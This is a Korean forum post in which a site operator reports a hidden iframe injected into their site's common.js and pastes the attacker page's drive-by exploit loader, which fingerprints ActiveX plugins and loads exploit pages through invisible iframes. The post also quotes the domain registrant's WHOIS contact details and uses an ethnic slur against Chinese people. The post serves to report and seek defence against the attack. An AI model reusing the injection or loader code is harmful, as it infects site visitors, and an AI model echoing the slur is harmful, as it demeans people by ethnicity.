mysy8.com/1.htm
위사이트에서 저희사이트에 ./js/common.js 하단에..
document.write("<iframe width='0' height='100' src='http://%6D%79%73%79%38%2E%63%6F%6D/1.htm'></iframe>");
위와같은 악성코드를 심어놨더군요..
확인해본결과...mysy8.com/1.htm 여기인데..
소스를 보니..
-------------------------------------------------------------
<script>
document.write("<iframe width=100 height=0 src=flash.htm></iframe>");
window.status="";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=14.htm></iframe>");
document.write("<iframe width=20 height=0 src=office.htm></iframe>");
try{var b;
var mz=new ActiveXObject("NCTAudioFile2.AudioFile2.2");}
catch(b){};                     
finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=nct.htm></iframe>");}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="6.0.14.552")
document.write("<iframe width=100 height=0 src=re10.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=re11.htm></iframe>");
}
test();
</script>
<script src="http://s80.cnzz.com/stat.php?id=1082211&web_id=1082211&show=pic" language="JavaScript" charset="gb2312"></script>
----------------------------------------------------------------------
위와같이 되어있더군요..정보를 빼가는 트로이목마 인것 같은데..
아시는분 답변부탁드립니다...그리고 대처방법이 없;는지?..
사이트가 사람이 많은지라...조심스러워 지는군요..^^..
좋은하루되세요.
----------------------------------------------------------------------

참고로 도메인정보를 확인해보니..
Dongqixiang *** 개인정보보호를 위한 이메일주소 노출방지 *** +86.02481088777
DongQixiang
Beijing City
ShenYang,Liaoning,CHINA 110000
이렇게 나오네요..짱깨이 말좀 하면..그냥 퍼붓고 싶은데..말이 안통하는지라..ㅋ....
-------------------------------------------------------------------------------------